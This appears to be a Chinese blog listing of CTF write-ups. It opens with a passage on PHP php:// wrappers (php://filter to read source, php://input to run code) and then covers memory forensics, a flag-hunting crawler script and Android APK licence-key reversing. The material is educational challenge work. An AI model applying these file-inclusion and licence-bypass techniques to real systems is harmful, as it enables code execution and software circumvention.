allow_url_fopen:off/onallow_url_include :仅php://input php://stdin php://memory php://temp 需要on作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。说明:PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。 协议作用php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。php://filter参数详解 该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下: php://filter 参数描述resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\*)分隔。write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\)分隔。<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。可用的过滤器列表(4类) 此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php 字符串过滤器作用string.rot13等同于str_rot13(),rot13变换string.toupper等同于strtoupper(),转大写字母string.tolower等同于strtolower(),转小写字母string.strip_tags等同于strip_tags(),去除html、PHP语言标签转换过滤器作用convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode(),base64编码解码convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码压缩过滤器作用zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。加密过滤器作用mcrypt.*libmcrypt 对称加密算法mdecrypt.*libmcrypt 对称解密算法示例: ...

April 26, 2019 · 1 min · jiezi

【CTF】利用volatility与Gimp实现Windows内存取证

0x01 题目要求题目提供了一个大小为256MB的内存镜像,显然我们需要从当中找到一些有趣的东西。0x02 分析过程既然是内存取证,首先就想到一个强大的取证工具——volatility该工具在kali当中已集成,位于应用程序->数字取证->volatility。下面就针对该镜像,记录一下使用该工具进行内存取证的过程。1. volatilityvolatility命令手册:https://github.com/volatility…我这里只列举一些常用的命令1. 镜像基本信息volatility -f mem.data imageinfo关键看Suggested Profile(s)项,这里是工具判断该镜像的架构,同时也会提供相应架构的命令用于分析该镜像,本题中可能性最大的架构是Win7SP1x64,然后在调用命令时加上–profile=Win7SP1x64就可以了,继续往下看。2. 列举可使用的命令volatility -f mem.data –profile=Win7SP1x64 –help常用的命令如下:命令功能cmdline/cmdscan列出历史cmd命令filescan扫描文件,可配合grep使用netscan扫描建立的连接和套接字,类似于netstatpslist/psscan列出进程列表svcscan扫描windows服务列表screenshot显示GDI样式的截屏memdump从内存dump进程的内存dumpfiles从内存dump文件3. 搜索进程首先我们要看一下出题人在镜像里干了什么。volatility -f mem.data –profile=Win7SP1x64 pslist可以看到这里有3个应用程序进程,分别是:wordpad写字板 MineSweeper扫雷 mspaint画图,而且再看看启动时间,mspaint相隔之后的进程有长达10分钟时间,emmm,出题人应该是就在这段时间写的flag。接下来我们就看一下有没有什么可疑的文件留存。4. 查看可疑文件查看文档volatility -f mem.data –profile=Win7SP1x64 filescan | grep “doc|docx|rtf"没有。。。查看图片volatility -f mem.data –profile=Win7SP1x64 filescan | grep “jpg|jpeg|png|tif|gif|bmp"也没有。。。查看桌面volatility -f mem.data –profile=Win7SP1x64 filescan | grep “Desktop"难道出题人还用扫雷来做个图???(开个玩笑)看来flag并没有保存为文件,看看有没有其他突破口。5. 查看截图volatility -f mem.data –profile=Win7SP1x64 screenshot –dump-dir=./导出的图片如下说实话我根本看不出来这是个什么界面。。。6. 其他调查查看命令行输入volatility -f mem.data –profile=Win7SP1x64 cmdline查看系统用户名volatility -f mem.data –profile=Win7SP1x64 printkey -K “SAM\Domains\Account\Users\Names"查看网络连接volatility -f mem.data –profile=Win7SP1x64 netscan在做了很多无用功之后,只能去求助Google了,结果搜出来2篇文章,比较有参考价值:google-ctf-2016-forensic1:https://www.rootusers.com/goo…从内存导出raw图片:https://w00tsec.blogspot.com/…上述文章介绍了一种方法,通过利用volatility将进程内存dump下来,然后利用Gimp打开内存数据,查看镜像中的系统界面,于是我们开始实施。2.Gimp使用volatility dump内存:(2768是mspaint的pid)volatility -f mem.data –profile=Win7SP1x64 memdump -p 2768 –dump-dir=./将2768.dmp重命名为2768.data,使用Gimp打开,打开方式选择"原始图像数据"出现这样一个界面,做如下操作:图像类型:RGB Alpha调整三个属性:高度调整到合适值就不用变了,我的最大是733。确定一个宽度,通常是常见的显示器分辨率,然后不断调整位移,使之出现可见的图像,也就是镜像中的系统界面。(接下来就是我不断测试的过程,测试了2小时。。。)分辨率是1920时:可以看见3个程序,之前的GDI纯白色框线界面就是扫雷的结算界面,写字板里写的也不是flag,看来就只有画图里有flag了。分辨率是1024时:扫雷界面。证明在不同分辨率下,会显示不同的界面。分辨率是1568时:部分画图界面,可能离成功不远了。分辨率是1457时:getFlag!事后发现,微调位移为图像的左右方向平移,大幅调节位移则是图像的上下方向平移。而宽度不变时,始终显示的都是同一幅图像。0x03 小结一下为了凑够3点,就写一下小结吧谷哥大法好,樯外确实有很多好的题解熟悉使用各类取证分析工具,是快速解出此题的关键可以参透出题人心理,猜测可能的flag位置 ...

April 10, 2019 · 1 min · jiezi

【CTF】广度搜索的 BeautifulSoup 网站爬虫

本人习惯使用pyhton2进行编程,因此beautifulsoup也是使用python2版本的,但据说python2明年就要停止支持了,忧伤得很。。。0x01 题目要求如图所示,在页面源码当中找到5个flag,然后拼接起来,还给了flagA的示例。flagA:打开站点是一个ctf-wiki的demo站点,了解这个站的人应该都知道它的体量,所以手动一个个找是不现实的,需要用到爬虫了(题目名称也暗示了)。0x02 解题思路我考虑使用广度优先搜索(BFS)实现一个网站爬虫,不了解广度搜索的童鞋可以自行百度。具体实现方法如下:建立待请求链接visiting_urls和已请求链接visited_urls的2个列表(也可看做队列)从visiting_urls取出一条链接,使用requrests.get请求页面源码在源码中正则匹配flag字段beautifulsoup获取页面中所有的a标签,符合要求的加入visiting_urlsvisiting_urls不为空,则执行[2]当中需要考虑2个问题:去重问题:当爬取链接时,难免会遇到存在不同位置的url指向同一个页面,爬取时不需要再请求相同页面,因此要对爬取到的url进行去重。方法如下:维护visiting_urls visited_urls列表,比对爬取url与已爬取过的url是否重复;根据mkdocs网站url特点,包含"../“的是回溯链接,此类链接不需要再次请求。正则匹配问题:这个方面没有多想,写个能使用的正则匹配规则就行,在本题中需要2种正则匹配:匹配flag:flag[ABCDE],我的目的是匹配到flag的标志,而不是把flag整个都匹配出来,因为我不清楚flag当中有没有其他奇怪字符,防止出现漏匹配的情况;匹配url:[\w/]+index.html,目的是匹配路径为字母数字(不包含”..")且末尾是"index.html"的url。到此,整个任务就完成了。0x03 完整脚本#coding=utf-8import requests,refrom bs4 import BeautifulSoups = requests.session()s.keep_alive=Falseflagre = re.compile(‘flag[ABCDE]’)urlre = re.compile(’[\w/]+index.html’)base_url = ‘http://23.236.125.55:1000/ctf-wiki/‘flagA_url = ‘http://23.236.125.55:1000/ctf-wiki/assembly/mips/readme/index.html’visiting_urls = [‘http://23.236.125.55:1000/ctf-wiki/index.html’]visited_urls = []def find_flag(url,html): flist = flagre.findall(html) if len(flist) > 0: print flist,urldef BFS(): url = visiting_urls[0] del(visiting_urls[0]) visited_urls.append(url) r = s.get(url) #r.encoding = ‘utf-8’ find_flag(url,r.text) soup = BeautifulSoup(r.text,’lxml’) for a in soup.find_all(‘a’): link = a[‘href’] if urlre.findall(link) and “..” not in link: new_url = base_url + link if new_url not in visited_urls and new_url not in visiting_urls: visiting_urls.append(new_url)if name == ‘main’: while len(visiting_urls) > 0: BFS()上面思路已经提到了,该脚本只能提取到包含flag标志的页面,而不是flag本身,因此还需要手动访问这些页面去寻找flag(手动狗头),如果还想直接显示flag,那就需要优化一下正则匹配了。提示一点,在获取到页面源码后,使用r.encoding = ‘utf-8’转码会导致EOFError,具体原因不详,本想能够匹配中文页面,结果画蛇添足搞了半天以为匹配没成功。提示两点,requests.session()的好处,相较于直接requests.get(),可以防止建立过多的HTTP连接,导致新连接无法建立的问题。参考页面:https://segmentfault.com/q/10…执行效果如下:最后拼接一下,完事了。 ...

April 7, 2019 · 1 min · jiezi

2015-0CTF-vezel

Java静态分析题目地址:https://github.com/ctf-wiki/c…1.运行2.定位关键代码 public void confirm(View v) { String first = String.valueOf(getSig(getPackageName())); if ((“0CTF{” + first + getCrc() + “}”).equals(this.et.getText().toString())) { Toast.makeText(this, “Yes!”, 0).show(); } else { Toast.makeText(this, “0ops!”, 0).show(); } }flag:“0CTF{” + first + getCrc() + “}“3.详细分析3.1 firstString first = String.valueOf(getSig(getPackageName())); private int getSig(String packageName) { int sig = 0; try { return getPackageManager().getPackageInfo(packageName, 64).signatures[0].toCharsString().hashCode(); } catch (Exception e) { e.printStackTrace(); return sig; } }通过编写一个app可以获得该app签名MainActivity.javapackage com.iromise.getsignature;import android.content.pm.PackageInfo;import android.content.pm.PackageManager;import android.content.pm.Signature;import android.support.v7.app.AppCompatActivity;import android.os.Bundle;import android.text.TextUtils;import android.util.Log;import android.widget.Toast;public class MainActivity extends AppCompatActivity { private StringBuilder builder; public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); PackageManager manager = getPackageManager(); builder = new StringBuilder(); String pkgname = “com.ctf.vezel”; boolean isEmpty = TextUtils.isEmpty(pkgname); if (isEmpty) { Toast.makeText(this, “应用程序的包名不能为空!”, Toast.LENGTH_SHORT); } else { try { PackageInfo packageInfo = manager.getPackageInfo(pkgname, PackageManager.GET_SIGNATURES); Signature[] signatures = packageInfo.signatures; Log.i(“hashcode”, String.valueOf(signatures[0].toCharsString().hashCode())); } catch (PackageManager.NameNotFoundException e) { e.printStackTrace(); } } }}从log中过滤出07-18 11:05:11.895 16124-16124/? I/hashcode: -1839715373.2 crc获得 class.dex 的CRC编写代码import java.io.File;import java.io.FileInputStream;import java.io.FileNotFoundException;import java.io.IOException;import java.util.zip.CRC32;import java.util.zip.CheckedInputStream;public class crc { public static void main(String[] args) { if (args.length < 1) { System.out.println(“Usage: java crc <file>”); System.exit(-1); } System.out.println(args[0]); String path = args[0]; String crc = loadCRC32(path); System.out.println(“HEX:” + crc); System.out.println(“DEC:"+ Integer.parseInt(crc,16)); } public static String loadCRC32(String filePath) { CRC32 crc32 = new CRC32(); FileInputStream inputStream = null; CheckedInputStream checkedinputstream = null; String crcStr = null; try { inputStream = new FileInputStream(new File(filePath)); checkedinputstream = new CheckedInputStream(inputStream, crc32); while (checkedinputstream.read() != -1) { } crcStr = Long.toHexString(crc32.getValue()).toUpperCase(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { if (inputStream != null) { try { inputStream.close(); } catch (IOException e2) { e2.printStackTrace(); } } if (checkedinputstream != null) { try { checkedinputstream.close(); } catch (IOException e) { e.printStackTrace(); } } } return crcStr; }}java crc vezel/classes.dexvezel/classes.dexHEX:46E26557DEC:1189242199注意: mac上有现成的命令crc32 vezel/classes.dex46e26557然后只需要转为10进制就可以了Flag0CTF{-1839715371189242199}5.参考文章2015-0CTF-vezel wp如何防止 Android 应用被二次打包? - 轩辕的回答 - 知乎 ...

April 5, 2019 · 2 min · jiezi

2014 Sharif University Quals CTF Commercial Application

java层静态分析题目地址:https://github.com/ctf-wiki/c…1. 运行点击右上按钮,出现输入Key的界面。随便输入几个字符,发现报错。2. 定位关键代码根据报错信息 Your licence key is incorrect…! Please try again with another,定位关键代码。 private void checkLicenceKey(final Context context) { //检测是否已绑定证书 if (this.app.getDataHelper().getConfig().hasLicence()) { showAlertDialog(context, OK_LICENCE_MSG); return; } View promptsView = LayoutInflater.from(context).inflate(R.layout.propmt, null); Builder alertDialogBuilder = new Builder(context); alertDialogBuilder.setView(promptsView); final EditText userInput = (EditText) promptsView.findViewById(R.id.editTextDialogUserInput); alertDialogBuilder.setCancelable(false).setPositiveButton(“Continue”, new OnClickListener() { public void onClick(DialogInterface dialog, int id) { if (KeyVerifier.isValidLicenceKey(userInput.getText().toString(), MainActivity.this.app.getDataHelper().getConfig().getSecurityKey(), MainActivity.this.app.getDataHelper().getConfig().getSecurityIv())) { MainActivity.this.app.getDataHelper().updateLicence(2014); MainActivity.isRegisterd = true; MainActivity.this.showAlertDialog(context, MainActivity.OK_LICENCE_MSG); return; } MainActivity.this.showAlertDialog(context, MainActivity.NOK_LICENCE_MSG); } }).setNegativeButton(“Cancel”, new OnClickListener() { public void onClick(DialogInterface dialog, int id) { dialog.cancel(); } }); alertDialogBuilder.create().show(); }3.详细分析3.1 分析参数观察得出,关键代码为KeyVerifier.isValidLicenceKey(userInput.getText().toString(), MainActivity.this.app.getDataHelper().getConfig().getSecurityKey(), MainActivity.this.app.getDataHelper().getConfig().getSecurityIv())共有三个参数用户输入的字符串函数getSecurityKey()、getSecurityIv() public AppConfig getConfig() { boolean z = true; AppConfig agency = new AppConfig(); Cursor cursor = this.myDataBase.rawQuery(SELECT_QUERY, null); if (cursor.moveToFirst()) { agency.setId(cursor.getInt(0)); agency.setName(cursor.getString(1)); agency.setInstallDate(cursor.getString(2)); if (cursor.getInt(3) <= 0) { z = false; } agency.setValidLicence(z); agency.setSecurityIv(cursor.getString(4)); agency.setSecurityKey(cursor.getString(5)); agency.setDesc(cursor.getString(7)); } return agency; }数据库相关信息: private static String DB_NAME = “db.db”; private static String DB_PATH = “/data/data/edu.sharif.ctf/databases/”; public static final String SELECT_QUERY = (“SELECT * FROM " + TABLE_NAME + " WHERE a=1”); private static String TABLE_NAME = “config”;逻辑:Cursor cursor = this.myDataBase.rawQuery(SELECT_QUERY, null); 获取表config的首行agency.setSecurityIv(cursor.getString(4)); 表中第四行赋值给Ivagency.setSecurityKey(cursor.getString(5)); 表中第五行赋值给Key用jeb打开apk,导出db.db ,用 DB browser 打开。SecurityIv:a5efdbd57b84ca36 SecurityKey: 37eaae0141f1a3adf8a1dee6558537143.2 分析加密算法package edu.sharif.ctf.security;import java.security.Key;import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;public class KeyVerifier { public static final String CIPHER_ALGORITHM = “AES/CBC/PKCS5Padding”; public static final String VALID_LICENCE = “29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84”; public KeyVerifier() { super(); } public static String bytesToHexString(byte[] arg8) { StringBuilder v1 = new StringBuilder(); int v4 = arg8.length; int v2; for(v2 = 0; v2 < v4; ++v2) { v1.append(String.format("%02x", Integer.valueOf(arg8[v2] & 0xFF))); } return v1.toString(); } public static String encrypt(String arg8, String arg9, String arg10) { String v3; try { SecretKeySpec v5 = new SecretKeySpec(KeyVerifier.hexStringToBytes(arg9), “AES”); Cipher v0 = Cipher.getInstance(“AES/CBC/PKCS5Padding”); v0.init(1, ((Key)v5), new IvParameterSpec(arg10.getBytes())); v3 = KeyVerifier.bytesToHexString(v0.doFinal(arg8.getBytes())); } catch(Exception v1) { v1.printStackTrace(); } return v3; } public static byte[] hexStringToBytes(String arg7) { int v6 = 16; int v2 = arg7.length(); byte[] v0 = new byte[v2 / 2]; int v1; for(v1 = 0; v1 < v2; v1 += 2) { v0[v1 / 2] = ((byte)((Character.digit(arg7.charAt(v1), v6) << 4) + Character.digit(arg7.charAt(v1 + 1), v6))); } return v0; } // 调用加密算法 public static boolean isValidLicenceKey(String arg2, String arg3, String arg4) { boolean v1 = KeyVerifier.encrypt(arg2, arg3, arg4).equals(“29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84”) ? true : false; return v1; }}加密算法为AES/CBC/PKCS5Padding,写出对应的解密算法import javax.crypto.Cipher;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;public class Main { public static void main(String[] args) { // write your code here String encrypted = “29a002d9340fc4bd54492f327269f3e051619b889dc8da723e135ce486965d84”; String securityKey = “37eaae0141f1a3adf8a1dee655853714”; String securityIv = “a5efdbd57b84ca36”; String result = decrypt(encrypted, securityKey, securityIv); System.out.println(result); } public static String bytesToHexString(byte[] paramArrayOfByte) { StringBuilder localStringBuilder = new StringBuilder(); int i = paramArrayOfByte.length; for (int j = 0; ; j++) { if (j >= i) return localStringBuilder.toString(); int k = paramArrayOfByte[j]; Object[] arrayOfObject = new Object[1]; arrayOfObject[0] = Integer.valueOf(k & 0xFF); localStringBuilder.append(String.format("%02x", arrayOfObject)); } } public static String decrypt(String paramString1, String paramString2, String paramString3) { try { SecretKeySpec localSecretKeySpec = new SecretKeySpec(hexStringToBytes(paramString2), “AES”); Cipher localCipher = Cipher.getInstance(“AES/CBC/PKCS5Padding”); localCipher.init(Cipher.DECRYPT_MODE, localSecretKeySpec, new IvParameterSpec(paramString3.getBytes())); byte[] bytes = localCipher.doFinal(hexStringToBytes(paramString1)); String flag = “”; for (byte b : bytes) { flag += (char) b; } return flag; } catch (Exception localException) { localException.printStackTrace(); } return “”; } public static byte[] hexStringToBytes(String paramString) { int i = paramString.length(); byte[] arrayOfByte = new byte[i / 2]; for (int j = 0; ; j += 2) { if (j >= i) return arrayOfByte; arrayOfByte[(j / 2)] = (byte) ((Character.digit(paramString.charAt(j), 16) << 4) + Character.digit(paramString.charAt(j + 1), 16)); } }}运行得到结果:fl-ag-IS-se-ri-al-NU-MB-ER4. 备注4.1 工具jadxjebDB Browser for SQLite http://sqlitebrowser.org/4.2 参考文章Sharif University Quals CTF 2014 Commercial Application WriteupCTF-wiki 2014 Sharif University Quals CTF Commercial Application ...

April 3, 2019 · 3 min · jiezi